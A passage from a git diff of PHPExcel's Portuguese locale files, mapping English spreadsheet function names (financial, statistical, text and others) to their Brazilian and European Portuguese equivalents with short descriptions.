R$ 100 +MIRR = MTIR ## Calcula a taxa interna de retorno em que fluxos de caixa positivos e negativos são financiados com diferentes taxas +NOMINAL = NOMINAL ## Retorna a taxa de juros nominal anual +NPER = NPER ## Retorna o número de períodos de um investimento +NPV = VPL ## Retorna o valor líquido atual de um investimento com base em uma série de fluxos de caixa periódicos e em uma taxa de desconto +ODDFPRICE = PREÇOPRIMINC ## Retorna o preço por R$ 100 de valor nominal de um título com um primeiro período indefinido +ODDFYIELD = LUCROPRIMINC ## Retorna o rendimento de um título com um primeiro período indefinido +ODDLPRICE = PREÇOÚLTINC ## Retorna o preço por R$ 100 de valor nominal de um título com um último período de cupom indefinido +ODDLYIELD = LUCROÚLTINC ## Retorna o rendimento de um título com um último período indefinido +PMT = PGTO ## Retorna o pagamento periódico de uma anuidade +PPMT = PPGTO ## Retorna o pagamento de capital para determinado período de investimento +PRICE = PREÇO ## Retorna a preço por R$ 100,00 de valor nominal de um título que paga juros periódicos +PRICEDISC = PREÇODESC ## Retorna o preço por R$ 100,00 de valor nominal de um título descontado +PRICEMAT = PREÇOVENC ## Retorna o preço por R$ 100,00 de valor nominal de um título que paga juros no vencimento +PV = VP ## Retorna o valor presente de um investimento +RATE = TAXA ## Retorna a taxa de juros por período de uma anuidade +RECEIVED = RECEBER ## Retorna a quantia recebida no vencimento de um título totalmente investido +SLN = DPD ## Retorna a depreciação em linha reta de um ativo durante um período +SYD = SDA ## Retorna a depreciação dos dígitos da soma dos anos de um ativo para um período especificado +TBILLEQ = OTN ## Retorna o rendimento de um título equivalente a uma obrigação do Tesouro +TBILLPRICE = OTNVALOR ## Retorna o preço por R$ 100,00 de valor nominal de uma obrigação do Tesouro +TBILLYIELD = OTNLUCRO ## Retorna o rendimento de uma obrigação do Tesouro +VDB = BDV ## Retorna a depreciação de um ativo para um período especificado ou parcial usando um método de balanço declinante +XIRR = XTIR ## Fornece a taxa interna de retorno para um programa de fluxos de caixa que não é necessariamente periódico +XNPV = XVPL ## Retorna o valor presente líquido de um programa de fluxos de caixa que não é necessariamente periódico +YIELD = LUCRO ## Retorna o lucro de um título que paga juros periódicos +YIELDDISC = LUCRODESC ## Retorna o rendimento anual de um título descontado. Por exemplo, uma obrigação do Tesouro +YIELDMAT = LUCROVENC ## Retorna o lucro anual de um título que paga juros no vencimento + + +## +## Information functions Funções de informação +## +CELL = CÉL ## Retorna informações sobre formatação, localização ou conteúdo de uma célula +ERROR.TYPE = TIPO.ERRO ## Retorna um número correspondente a um tipo de erro +INFO = INFORMAÇÃO ## Retorna informações sobre o ambiente operacional atual +ISBLANK = ÉCÉL.VAZIA ## Retorna VERDADEIRO se o valor for vazio +ISERR = ÉERRO ## Retorna VERDADEIRO se o valor for um valor de erro diferente de #N/D +ISERROR = ÉERROS ## Retorna VERDADEIRO se o valor for um valor de erro +ISEVEN = ÉPAR ## Retorna VERDADEIRO se o número for par +ISLOGICAL = ÉLÓGICO ## Retorna VERDADEIRO se o valor for um valor lógico +ISNA = É.NÃO.DISP ## Retorna VERDADEIRO se o valor for o valor de erro #N/D +ISNONTEXT = É.NÃO.TEXTO ## Retorna VERDADEIRO se o valor for diferente de texto +ISNUMBER = ÉNÚM ## Retorna VERDADEIRO se o valor for um número +ISODD = ÉIMPAR ## Retorna VERDADEIRO se o número for ímpar +ISREF = ÉREF ## Retorna VERDADEIRO se o valor for uma referência +ISTEXT = ÉTEXTO ## Retorna VERDADEIRO se o valor for texto +N = N ## Retorna um valor convertido em um número +NA = NÃO.DISP ## Retorna o valor de erro #N/D +TYPE = TIPO ## Retorna um número indicando o tipo de dados de um valor + + +## +## Logical functions Funções lógicas +## +AND = E ## Retorna VERDADEIRO se todos os seus argumentos forem VERDADEIROS +FALSE = FALSO ## Retorna o valor lógico FALSO +IF = SE ## Especifica um teste lógico a ser executado +IFERROR = SEERRO ## Retornará um valor que você especifica se uma fórmula for avaliada para um erro; do contrário, retornará o resultado da fórmula +NOT = NÃO ## Inverte o valor lógico do argumento +OR = OU ## Retorna VERDADEIRO se um dos argumentos for VERDADEIRO +TRUE = VERDADEIRO ## Retorna o valor lógico VERDADEIRO + + +## +## Lookup and reference functions Funções de pesquisa e referência +## +ADDRESS = ENDEREÇO ## Retorna uma referência como texto para uma única célula em uma planilha +AREAS = ÁREAS ## Retorna o número de áreas em uma referência +CHOOSE = ESCOLHER ## Escolhe um valor a partir de uma lista de valores +COLUMN = COL ## Retorna o número da coluna de uma referência +COLUMNS = COLS ## Retorna o número de colunas em uma referência +HLOOKUP = PROCH ## Procura na linha superior de uma matriz e retorna o valor da célula especificada +HYPERLINK = HYPERLINK ## Cria um atalho ou salto que abre um documento armazenado em um servidor de rede, uma intranet ou na Internet +INDEX = ÍNDICE ## Usa um índice para escolher um valor de uma referência ou matriz +INDIRECT = INDIRETO ## Retorna uma referência indicada por um valor de texto +LOOKUP = PROC ## Procura valores em um vetor ou em uma matriz +MATCH = CORRESP ## Procura valores em uma referência ou em uma matriz +OFFSET = DESLOC ## Retorna um deslocamento de referência com base em uma determinada referência +ROW = LIN ## Retorna o número da linha de uma referência +ROWS = LINS ## Retorna o número de linhas em uma referência +RTD = RTD ## Recupera dados em tempo real de um programa que ofereça suporte a automação COM (automação: uma forma de trabalhar com objetos de um aplicativo a partir de outro aplicativo ou ferramenta de desenvolvimento. Chamada inicialmente de automação OLE, a automação é um padrão industrial e um recurso do modelo de objeto componente (COM).) +TRANSPOSE = TRANSPOR ## Retorna a transposição de uma matriz +VLOOKUP = PROCV ## Procura na primeira coluna de uma matriz e move ao longo da linha para retornar o valor de uma célula + + +## +## Math and trigonometry functions Funções matemáticas e trigonométricas +## +ABS = ABS ## Retorna o valor absoluto de um número +ACOS = ACOS ## Retorna o arco cosseno de um número +ACOSH = ACOSH ## Retorna o cosseno hiperbólico inverso de um número +ASIN = ASEN ## Retorna o arco seno de um número +ASINH = ASENH ## Retorna o seno hiperbólico inverso de um número +ATAN = ATAN ## Retorna o arco tangente de um número +ATAN2 = ATAN2 ## Retorna o arco tangente das coordenadas x e y especificadas +ATANH = ATANH ## Retorna a tangente hiperbólica inversa de um número +CEILING = TETO ## Arredonda um número para o inteiro mais próximo ou para o múltiplo mais próximo de significância +COMBIN = COMBIN ## Retorna o número de combinações de um determinado número de objetos +COS = COS ## Retorna o cosseno de um número +COSH = COSH ## Retorna o cosseno hiperbólico de um número +DEGREES = GRAUS ## Converte radianos em graus +EVEN = PAR ## Arredonda um número para cima até o inteiro par mais próximo +EXP = EXP ## Retorna e elevado à potência de um número especificado +FACT = FATORIAL ## Retorna o fatorial de um número +FACTDOUBLE = FATDUPLO ## Retorna o fatorial duplo de um número +FLOOR = ARREDMULTB ## Arredonda um número para baixo até zero +GCD = MDC ## Retorna o máximo divisor comum +INT = INT ## Arredonda um número para baixo até o número inteiro mais próximo +LCM = MMC ## Retorna o mínimo múltiplo comum +LN = LN ## Retorna o logaritmo natural de um número +LOG = LOG ## Retorna o logaritmo de um número de uma base especificada +LOG10 = LOG10 ## Retorna o logaritmo de base 10 de um número +MDETERM = MATRIZ.DETERM ## Retorna o determinante de uma matriz de uma variável do tipo matriz +MINVERSE = MATRIZ.INVERSO ## Retorna a matriz inversa de uma matriz +MMULT = MATRIZ.MULT ## Retorna o produto de duas matrizes +MOD = RESTO ## Retorna o resto da divisão +MROUND = MARRED ## Retorna um número arredondado ao múltiplo desejado +MULTINOMIAL = MULTINOMIAL ## Retorna o multinomial de um conjunto de números +ODD = ÍMPAR ## Arredonda um número para cima até o inteiro ímpar mais próximo +PI = PI ## Retorna o valor de Pi +POWER = POTÊNCIA ## Fornece o resultado de um número elevado a uma potência +PRODUCT = MULT ## Multiplica seus argumentos +QUOTIENT = QUOCIENTE ## Retorna a parte inteira de uma divisão +RADIANS = RADIANOS ## Converte graus em radianos +RAND = ALEATÓRIO ## Retorna um número aleatório entre 0 e 1 +RANDBETWEEN = ALEATÓRIOENTRE ## Retorna um número aleatório entre os números especificados +ROMAN = ROMANO ## Converte um algarismo arábico em romano, como texto +ROUND = ARRED ## Arredonda um número até uma quantidade especificada de dígitos +ROUNDDOWN = ARREDONDAR.PARA.BAIXO ## Arredonda um número para baixo até zero +ROUNDUP = ARREDONDAR.PARA.CIMA ## Arredonda um número para cima, afastando-o de zero +SERIESSUM = SOMASEQÜÊNCIA ## Retorna a soma de uma série polinomial baseada na fórmula +SIGN = SINAL ## Retorna o sinal de um número +SIN = SEN ## Retorna o seno de um ângulo dado +SINH = SENH ## Retorna o seno hiperbólico de um número +SQRT = RAIZ ## Retorna uma raiz quadrada positiva +SQRTPI = RAIZPI ## Retorna a raiz quadrada de (núm* pi) +SUBTOTAL = SUBTOTAL ## Retorna um subtotal em uma lista ou em um banco de dados +SUM = SOMA ## Soma seus argumentos +SUMIF = SOMASE ## Adiciona as células especificadas por um determinado critério +SUMIFS = SOMASE ## Adiciona as células em um intervalo que atende a vários critérios +SUMPRODUCT = SOMARPRODUTO ## Retorna a soma dos produtos de componentes correspondentes de matrizes +SUMSQ = SOMAQUAD ## Retorna a soma dos quadrados dos argumentos +SUMX2MY2 = SOMAX2DY2 ## Retorna a soma da diferença dos quadrados dos valores correspondentes em duas matrizes +SUMX2PY2 = SOMAX2SY2 ## Retorna a soma da soma dos quadrados dos valores correspondentes em duas matrizes +SUMXMY2 = SOMAXMY2 ## Retorna a soma dos quadrados das diferenças dos valores correspondentes em duas matrizes +TAN = TAN ## Retorna a tangente de um número +TANH = TANH ## Retorna a tangente hiperbólica de um número +TRUNC = TRUNCAR ## Trunca um número para um inteiro + + +## +## Statistical functions Funções estatísticas +## +AVEDEV = DESV.MÉDIO ## Retorna a média aritmética dos desvios médios dos pontos de dados a partir de sua média +AVERAGE = MÉDIA ## Retorna a média dos argumentos +AVERAGEA = MÉDIAA ## Retorna a média dos argumentos, inclusive números, texto e valores lógicos +AVERAGEIF = MÉDIASE ## Retorna a média (média aritmética) de todas as células em um intervalo que atendem a um determinado critério +AVERAGEIFS = MÉDIASES ## Retorna a média (média aritmética) de todas as células que atendem a múltiplos critérios. +BETADIST = DISTBETA ## Retorna a função de distribuição cumulativa beta +BETAINV = BETA.ACUM.INV ## Retorna o inverso da função de distribuição cumulativa para uma distribuição beta especificada +BINOMDIST = DISTRBINOM ## Retorna a probabilidade de distribuição binomial do termo individual +CHIDIST = DIST.QUI ## Retorna a probabilidade unicaudal da distribuição qui-quadrada +CHIINV = INV.QUI ## Retorna o inverso da probabilidade uni-caudal da distribuição qui-quadrada +CHITEST = TESTE.QUI ## Retorna o teste para independência +CONFIDENCE = INT.CONFIANÇA ## Retorna o intervalo de confiança para uma média da população +CORREL = CORREL ## Retorna o coeficiente de correlação entre dois conjuntos de dados +COUNT = CONT.NÚM ## Calcula quantos números há na lista de argumentos +COUNTA = CONT.VALORES ## Calcula quantos valores há na lista de argumentos +COUNTBLANK = CONTAR.VAZIO ## Conta o número de células vazias no intervalo especificado +COUNTIF = CONT.SE ## Calcula o número de células não vazias em um intervalo que corresponde a determinados critérios +COUNTIFS = CONT.SES ## Conta o número de células dentro de um intervalo que atende a múltiplos critérios +COVAR = COVAR ## Retorna a covariância, a média dos produtos dos desvios pares +CRITBINOM = CRIT.BINOM ## Retorna o menor valor para o qual a distribuição binomial cumulativa é menor ou igual ao valor padrão +DEVSQ = DESVQ ## Retorna a soma dos quadrados dos desvios +EXPONDIST = DISTEXPON ## Retorna a distribuição exponencial +FDIST = DISTF ## Retorna a distribuição de probabilidade F +FINV = INVF ## Retorna o inverso da distribuição de probabilidades F +FISHER = FISHER ## Retorna a transformação Fisher +FISHERINV = FISHERINV ## Retorna o inverso da transformação Fisher +FORECAST = PREVISÃO ## Retorna um valor ao longo de uma linha reta +FREQUENCY = FREQÜÊNCIA ## Retorna uma distribuição de freqüência como uma matriz vertical +FTEST = TESTEF ## Retorna o resultado de um teste F +GAMMADIST = DISTGAMA ## Retorna a distribuição gama +GAMMAINV = INVGAMA ## Retorna o inverso da distribuição cumulativa gama +GAMMALN = LNGAMA ## Retorna o logaritmo natural da função gama, G(x) +GEOMEAN = MÉDIA.GEOMÉTRICA ## Retorna a média geométrica +GROWTH = CRESCIMENTO ## Retorna valores ao longo de uma tendência exponencial +HARMEAN = MÉDIA.HARMÔNICA ## Retorna a média harmônica +HYPGEOMDIST = DIST.HIPERGEOM ## Retorna a distribuição hipergeométrica +INTERCEPT = INTERCEPÇÃO ## Retorna a intercepção da linha de regressão linear +KURT = CURT ## Retorna a curtose de um conjunto de dados +LARGE = MAIOR ## Retorna o maior valor k-ésimo de um conjunto de dados +LINEST = PROJ.LIN ## Retorna os parâmetros de uma tendência linear +LOGEST = PROJ.LOG ## Retorna os parâmetros de uma tendência exponencial +LOGINV = INVLOG ## Retorna o inverso da distribuição lognormal +LOGNORMDIST = DIST.LOGNORMAL ## Retorna a distribuição lognormal cumulativa +MAX = MÁXIMO ## Retorna o valor máximo em uma lista de argumentos +MAXA = MÁXIMOA ## Retorna o maior valor em uma lista de argumentos, inclusive números, texto e valores lógicos +MEDIAN = MED ## Retorna a mediana dos números indicados +MIN = MÍNIMO ## Retorna o valor mínimo em uma lista de argumentos +MINA = MÍNIMOA ## Retorna o menor valor em uma lista de argumentos, inclusive números, texto e valores lógicos +MODE = MODO ## Retorna o valor mais comum em um conjunto de dados +NEGBINOMDIST = DIST.BIN.NEG ## Retorna a distribuição binomial negativa +NORMDIST = DIST.NORM ## Retorna a distribuição cumulativa normal +NORMINV = INV.NORM ## Retorna o inverso da distribuição cumulativa normal +NORMSDIST = DIST.NORMP ## Retorna a distribuição cumulativa normal padrão +NORMSINV = INV.NORMP ## Retorna o inverso da distribuição cumulativa normal padrão +PEARSON = PEARSON ## Retorna o coeficiente de correlação do momento do produto Pearson +PERCENTILE = PERCENTIL ## Retorna o k-ésimo percentil de valores em um intervalo +PERCENTRANK = ORDEM.PORCENTUAL ## Retorna a ordem percentual de um valor em um conjunto de dados +PERMUT = PERMUT ## Retorna o número de permutações de um determinado número de objetos +POISSON = POISSON ## Retorna a distribuição Poisson +PROB = PROB ## Retorna a probabilidade de valores em um intervalo estarem entre dois limites +QUARTILE = QUARTIL ## Retorna o quartil do conjunto de dados +RANK = ORDEM ## Retorna a posição de um número em uma lista de números +RSQ = RQUAD ## Retorna o quadrado do coeficiente de correlação do momento do produto de Pearson +SKEW = DISTORÇÃO ## Retorna a distorção de uma distribuição +SLOPE = INCLINAÇÃO ## Retorna a inclinação da linha de regressão linear +SMALL = MENOR ## Retorna o menor valor k-ésimo do conjunto de dados +STANDARDIZE = PADRONIZAR ## Retorna um valor normalizado +STDEV = DESVPAD ## Estima o desvio padrão com base em uma amostra +STDEVA = DESVPADA ## Estima o desvio padrão com base em uma amostra, inclusive números, texto e valores lógicos +STDEVP = DESVPADP ## Calcula o desvio padrão com base na população total +STDEVPA = DESVPADPA ## Calcula o desvio padrão com base na população total, inclusive números, texto e valores lógicos +STEYX = EPADYX ## Retorna o erro padrão do valor-y previsto para cada x da regressão +TDIST = DISTT ## Retorna a distribuição t de Student +TINV = INVT ## Retorna o inverso da distribuição t de Student +TREND = TENDÊNCIA ## Retorna valores ao longo de uma tendência linear +TRIMMEAN = MÉDIA.INTERNA ## Retorna a média do interior de um conjunto de dados +TTEST = TESTET ## Retorna a probabilidade associada ao teste t de Student +VAR = VAR ## Estima a variância com base em uma amostra +VARA = VARA ## Estima a variância com base em uma amostra, inclusive números, texto e valores lógicos +VARP = VARP ## Calcula a variância com base na população inteira +VARPA = VARPA ## Calcula a variância com base na população total, inclusive números, texto e valores lógicos +WEIBULL = WEIBULL ## Retorna a distribuição Weibull +ZTEST = TESTEZ ## Retorna o valor de probabilidade uni-caudal de um teste-z + + +## +## Text functions Funções de texto +## +ASC = ASC ## Altera letras do inglês ou katakana de largura total (bytes duplos) dentro de uma seqüência de caracteres para caracteres de meia largura (byte único) +BAHTTEXT = BAHTTEXT ## Converte um número em um texto, usando o formato de moeda ß (baht) +CHAR = CARACT ## Retorna o caractere especificado pelo número de código +CLEAN = TIRAR ## Remove todos os caracteres do texto que não podem ser impressos +CODE = CÓDIGO ## Retorna um código numérico para o primeiro caractere de uma seqüência de caracteres de texto +CONCATENATE = CONCATENAR ## Agrupa vários itens de texto em um único item de texto +DOLLAR = MOEDA ## Converte um número em texto, usando o formato de moeda $ (dólar) +EXACT = EXATO ## Verifica se dois valores de texto são idênticos +FIND = PROCURAR ## Procura um valor de texto dentro de outro (diferencia maiúsculas de minúsculas) +FINDB = PROCURARB ## Procura um valor de texto dentro de outro (diferencia maiúsculas de minúsculas) +FIXED = DEF.NÚM.DEC ## Formata um número como texto com um número fixo de decimais +JIS = JIS ## Altera letras do inglês ou katakana de meia largura (byte único) dentro de uma seqüência de caracteres para caracteres de largura total (bytes duplos) +LEFT = ESQUERDA ## Retorna os caracteres mais à esquerda de um valor de texto +LEFTB = ESQUERDAB ## Retorna os caracteres mais à esquerda de um valor de texto +LEN = NÚM.CARACT ## Retorna o número de caracteres em uma seqüência de texto +LENB = NÚM.CARACTB ## Retorna o número de caracteres em uma seqüência de texto +LOWER = MINÚSCULA ## Converte texto para minúsculas +MID = EXT.TEXTO ## Retorna um número específico de caracteres de uma seqüência de texto começando na posição especificada +MIDB = EXT.TEXTOB ## Retorna um número específico de caracteres de uma seqüência de texto começando na posição especificada +PHONETIC = FONÉTICA ## Extrai os caracteres fonéticos (furigana) de uma seqüência de caracteres de texto +PROPER = PRI.MAIÚSCULA ## Coloca a primeira letra de cada palavra em maiúscula em um valor de texto +REPLACE = MUDAR ## Muda os caracteres dentro do texto +REPLACEB = MUDARB ## Muda os caracteres dentro do texto +REPT = REPT ## Repete o texto um determinado número de vezes +RIGHT = DIREITA ## Retorna os caracteres mais à direita de um valor de texto +RIGHTB = DIREITAB ## Retorna os caracteres mais à direita de um valor de texto +SEARCH = LOCALIZAR ## Localiza um valor de texto dentro de outro (não diferencia maiúsculas de minúsculas) +SEARCHB = LOCALIZARB ## Localiza um valor de texto dentro de outro (não diferencia maiúsculas de minúsculas) +SUBSTITUTE = SUBSTITUIR ## Substitui um novo texto por um texto antigo em uma seqüência de texto +T = T ## Converte os argumentos em texto +TEXT = TEXTO ## Formata um número e o converte em texto +TRIM = ARRUMAR ## Remove espaços do texto +UPPER = MAIÚSCULA ## Converte o texto em maiúsculas +VALUE = VALOR ## Converte um argumento de texto em um número diff --git a/vendor/phpoffice/phpexcel/Classes/PHPExcel/locale/pt/functions b/vendor/phpoffice/phpexcel/Classes/PHPExcel/locale/pt/functions index ba4eb471..7fe9e3b5 100644 --- a/vendor/phpoffice/phpexcel/Classes/PHPExcel/locale/pt/functions +++ b/vendor/phpoffice/phpexcel/Classes/PHPExcel/locale/pt/functions @@ -1,408 +1,408 @@ -## -## Add-in and Automation functions Funções de Suplemento e Automatização -## -GETPIVOTDATA = OBTERDADOSDIN ## Devolve dados armazenados num relatório de Tabela Dinâmica - - -## -## Cube functions Funções de cubo -## -CUBEKPIMEMBER = MEMBROKPICUBO ## Devolve o nome, propriedade e medição de um KPI (key performance indicator) e apresenta o nome e a propriedade na célula. Um KPI é uma medida quantificável, como, por exemplo, o lucro mensal bruto ou a rotatividade trimestral de pessoal, utilizada para monitorizar o desempenho de uma organização. -CUBEMEMBER = MEMBROCUBO ## Devolve um membro ou cadeia de identificação numa hierarquia de cubo. Utilizada para validar a existência do membro ou cadeia de identificação no cubo. -CUBEMEMBERPROPERTY = PROPRIEDADEMEMBROCUBO ## Devolve o valor de uma propriedade de membro no cubo. Utilizada para validar a existência de um nome de membro no cubo e para devolver a propriedade especificada para esse membro. -CUBERANKEDMEMBER = MEMBROCLASSIFICADOCUBO ## Devolve o enésimo ou a classificação mais alta num conjunto. Utilizada para devolver um ou mais elementos num conjunto, tal como o melhor vendedor ou os 10 melhores alunos. -CUBESET = CONJUNTOCUBO ## Define um conjunto calculado de membros ou cadeias de identificação enviando uma expressão de conjunto para o cubo no servidor, que cria o conjunto e, em seguida, devolve o conjunto ao Microsoft Office Excel. -CUBESETCOUNT = CONTARCONJUNTOCUBO ## Devolve o número de itens num conjunto. -CUBEVALUE = VALORCUBO ## Devolve um valor agregado do cubo. - - -## -## Database functions Funções de base de dados -## -DAVERAGE = BDMÉDIA ## Devolve a média das entradas da base de dados seleccionadas -DCOUNT = BDCONTAR ## Conta as células que contêm números numa base de dados -DCOUNTA = BDCONTAR.VAL ## Conta as células que não estejam em branco numa base de dados -DGET = BDOBTER ## Extrai de uma base de dados um único registo que corresponde aos critérios especificados -DMAX = BDMÁX ## Devolve o valor máximo das entradas da base de dados seleccionadas -DMIN = BDMÍN ## Devolve o valor mínimo das entradas da base de dados seleccionadas -DPRODUCT = BDMULTIPL ## Multiplica os valores de um determinado campo de registos que correspondem aos critérios numa base de dados -DSTDEV = BDDESVPAD ## Calcula o desvio-padrão com base numa amostra de entradas da base de dados seleccionadas -DSTDEVP = BDDESVPADP ## Calcula o desvio-padrão com base na população total das entradas da base de dados seleccionadas -DSUM = BDSOMA ## Adiciona os números na coluna de campo dos registos de base de dados que correspondem aos critérios -DVAR = BDVAR ## Calcula a variância com base numa amostra das entradas de base de dados seleccionadas -DVARP = BDVARP ## Calcula a variância com base na população total das entradas de base de dados seleccionadas - - -## -## Date and time functions Funções de data e hora -## -DATE = DATA ## Devolve o número de série de uma determinada data -DATEVALUE = DATA.VALOR ## Converte uma data em forma de texto num número de série -DAY = DIA ## Converte um número de série num dia do mês -DAYS360 = DIAS360 ## Calcula o número de dias entre duas datas com base num ano com 360 dias -EDATE = DATAM ## Devolve um número de série de data que corresponde ao número de meses indicado antes ou depois da data de início -EOMONTH = FIMMÊS ## Devolve o número de série do último dia do mês antes ou depois de um número de meses especificado -HOUR = HORA ## Converte um número de série numa hora -MINUTE = MINUTO ## Converte um número de série num minuto -MONTH = MÊS ## Converte um número de série num mês -NETWORKDAYS = DIATRABALHOTOTAL ## Devolve o número total de dias úteis entre duas datas -NOW = AGORA ## Devolve o número de série da data e hora actuais -SECOND = SEGUNDO ## Converte um número de série num segundo -TIME = TEMPO ## Devolve o número de série de um determinado tempo -TIMEVALUE = VALOR.TEMPO ## Converte um tempo em forma de texto num número de série -TODAY = HOJE ## Devolve o número de série da data actual -WEEKDAY = DIA.SEMANA ## Converte um número de série num dia da semana -WEEKNUM = NÚMSEMANA ## Converte um número de série num número que representa o número da semana num determinado ano -WORKDAY = DIA.TRABALHO ## Devolve o número de série da data antes ou depois de um número de dias úteis especificado -YEAR = ANO ## Converte um número de série num ano -YEARFRAC = FRACÇÃOANO ## Devolve a fracção de ano que representa o número de dias inteiros entre a data_de_início e a data_de_fim - - -## -## Engineering functions Funções de engenharia -## -BESSELI = BESSELI ## Devolve a função de Bessel modificada In(x) -BESSELJ = BESSELJ ## Devolve a função de Bessel Jn(x) -BESSELK = BESSELK ## Devolve a função de Bessel modificada Kn(x) -BESSELY = BESSELY ## Devolve a função de Bessel Yn(x) -BIN2DEC = BINADEC ## Converte um número binário em decimal -BIN2HEX = BINAHEX ## Converte um número binário em hexadecimal -BIN2OCT = BINAOCT ## Converte um número binário em octal -COMPLEX = COMPLEXO ## Converte coeficientes reais e imaginários num número complexo -CONVERT = CONVERTER ## Converte um número de um sistema de medida noutro -DEC2BIN = DECABIN ## Converte um número decimal em binário -DEC2HEX = DECAHEX ## Converte um número decimal em hexadecimal -DEC2OCT = DECAOCT ## Converte um número decimal em octal -DELTA = DELTA ## Testa se dois valores são iguais -ERF = FUNCERRO ## Devolve a função de erro -ERFC = FUNCERROCOMPL ## Devolve a função de erro complementar -GESTEP = DEGRAU ## Testa se um número é maior do que um valor limite -HEX2BIN = HEXABIN ## Converte um número hexadecimal em binário -HEX2DEC = HEXADEC ## Converte um número hexadecimal em decimal -HEX2OCT = HEXAOCT ## Converte um número hexadecimal em octal -IMABS = IMABS ## Devolve o valor absoluto (módulo) de um número complexo -IMAGINARY = IMAGINÁRIO ## Devolve o coeficiente imaginário de um número complexo -IMARGUMENT = IMARG ## Devolve o argumento Teta, um ângulo expresso em radianos -IMCONJUGATE = IMCONJ ## Devolve o conjugado complexo de um número complexo -IMCOS = IMCOS ## Devolve o co-seno de um número complexo -IMDIV = IMDIV ## Devolve o quociente de dois números complexos -IMEXP = IMEXP ## Devolve o exponencial de um número complexo -IMLN = IMLN ## Devolve o logaritmo natural de um número complexo -IMLOG10 = IMLOG10 ## Devolve o logaritmo de base 10 de um número complexo -IMLOG2 = IMLOG2 ## Devolve o logaritmo de base 2 de um número complexo -IMPOWER = IMPOT ## Devolve um número complexo elevado a uma potência inteira -IMPRODUCT = IMPROD ## Devolve o produto de números complexos -IMREAL = IMREAL ## Devolve o coeficiente real de um número complexo -IMSIN = IMSENO ## Devolve o seno de um número complexo -IMSQRT = IMRAIZ ## Devolve a raiz quadrada de um número complexo -IMSUB = IMSUBTR ## Devolve a diferença entre dois números complexos -IMSUM = IMSOMA ## Devolve a soma de números complexos -OCT2BIN = OCTABIN ## Converte um número octal em binário -OCT2DEC = OCTADEC ## Converte um número octal em decimal -OCT2HEX = OCTAHEX ## Converte um número octal em hexadecimal - - -## -## Financial functions Funções financeiras -## -ACCRINT = JUROSACUM ## Devolve os juros acumulados de um título que paga juros periódicos -ACCRINTM = JUROSACUMV ## Devolve os juros acumulados de um título que paga juros no vencimento -AMORDEGRC = AMORDEGRC ## Devolve a depreciação correspondente a cada período contabilístico utilizando um coeficiente de depreciação -AMORLINC = AMORLINC ## Devolve a depreciação correspondente a cada período contabilístico -COUPDAYBS = CUPDIASINLIQ ## Devolve o número de dias entre o início do período do cupão e a data de regularização -COUPDAYS = CUPDIAS ## Devolve o número de dias no período do cupão que contém a data de regularização -COUPDAYSNC = CUPDIASPRÓX ## Devolve o número de dias entre a data de regularização e a data do cupão seguinte -COUPNCD = CUPDATAPRÓX ## Devolve a data do cupão seguinte após a data de regularização -COUPNUM = CUPNÚM ## Devolve o número de cupões a serem pagos entre a data de regularização e a data de vencimento -COUPPCD = CUPDATAANT ## Devolve a data do cupão anterior antes da data de regularização -CUMIPMT = PGTOJURACUM ## Devolve os juros cumulativos pagos entre dois períodos -CUMPRINC = PGTOCAPACUM ## Devolve o capital cumulativo pago a título de empréstimo entre dois períodos -DB = BD ## Devolve a depreciação de um activo relativo a um período especificado utilizando o método das quotas degressivas fixas -DDB = BDD ## Devolve a depreciação de um activo relativo a um período especificado utilizando o método das quotas degressivas duplas ou qualquer outro método especificado -DISC = DESC ## Devolve a taxa de desconto de um título -DOLLARDE = MOEDADEC ## Converte um preço em unidade monetária, expresso como uma fracção, num preço em unidade monetária, expresso como um número decimal -DOLLARFR = MOEDAFRA ## Converte um preço em unidade monetária, expresso como um número decimal, num preço em unidade monetária, expresso como uma fracção -DURATION = DURAÇÃO ## Devolve a duração anual de um título com pagamentos de juros periódicos -EFFECT = EFECTIVA ## Devolve a taxa de juros anual efectiva -FV = VF ## Devolve o valor futuro de um investimento -FVSCHEDULE = VFPLANO ## Devolve o valor futuro de um capital inicial após a aplicação de uma série de taxas de juro compostas -INTRATE = TAXAJUROS ## Devolve a taxa de juros de um título investido na totalidade -IPMT = IPGTO ## Devolve o pagamento dos juros de um investimento durante um determinado período -IRR = TIR ## Devolve a taxa de rentabilidade interna para uma série de fluxos monetários -ISPMT = É.PGTO ## Calcula os juros pagos durante um período específico de um investimento -MDURATION = MDURAÇÃO ## Devolve a duração modificada de Macauley de um título com um valor de paridade equivalente a € 100 -MIRR = MTIR ## Devolve a taxa interna de rentabilidade em que os fluxos monetários positivos e negativos são financiados com taxas diferentes -NOMINAL = NOMINAL ## Devolve a taxa de juros nominal anual -NPER = NPER ## Devolve o número de períodos de um investimento -NPV = VAL ## Devolve o valor actual líquido de um investimento com base numa série de fluxos monetários periódicos e numa taxa de desconto -ODDFPRICE = PREÇOPRIMINC ## Devolve o preço por € 100 do valor nominal de um título com um período inicial incompleto -ODDFYIELD = LUCROPRIMINC ## Devolve o lucro de um título com um período inicial incompleto -ODDLPRICE = PREÇOÚLTINC ## Devolve o preço por € 100 do valor nominal de um título com um período final incompleto -ODDLYIELD = LUCROÚLTINC ## Devolve o lucro de um título com um período final incompleto -PMT = PGTO ## Devolve o pagamento periódico de uma anuidade -PPMT = PPGTO ## Devolve o pagamento sobre o capital de um investimento num determinado período -PRICE = PREÇO ## Devolve o preço por € 100 do valor nominal de um título que paga juros periódicos -PRICEDISC = PREÇODESC ## Devolve o preço por € 100 do valor nominal de um título descontado -PRICEMAT = PREÇOVENC ## Devolve o preço por € 100 do valor nominal de um título que paga juros no vencimento -PV = VA ## Devolve o valor actual de um investimento -RATE = TAXA ## Devolve a taxa de juros por período de uma anuidade -RECEIVED = RECEBER ## Devolve o montante recebido no vencimento de um título investido na totalidade -SLN = AMORT ## Devolve uma depreciação linear de um activo durante um período -SYD = AMORTD ## Devolve a depreciação por algarismos da soma dos anos de um activo durante um período especificado -TBILLEQ = OTN ## Devolve o lucro de um título equivalente a uma Obrigação do Tesouro -TBILLPRICE = OTNVALOR ## Devolve o preço por € 100 de valor nominal de uma Obrigação do Tesouro -TBILLYIELD = OTNLUCRO ## Devolve o lucro de uma Obrigação do Tesouro -VDB = BDV ## Devolve a depreciação de um activo relativo a um período específico ou parcial utilizando um método de quotas degressivas -XIRR = XTIR ## Devolve a taxa interna de rentabilidade de um plano de fluxos monetários que não seja necessariamente periódica -XNPV = XVAL ## Devolve o valor actual líquido de um plano de fluxos monetários que não seja necessariamente periódico -YIELD = LUCRO ## Devolve o lucro de um título que paga juros periódicos -YIELDDISC = LUCRODESC ## Devolve o lucro anual de um título emitido abaixo do valor nominal, por exemplo, uma Obrigação do Tesouro -YIELDMAT = LUCROVENC ## Devolve o lucro anual de um título que paga juros na data de vencimento - - -## -## 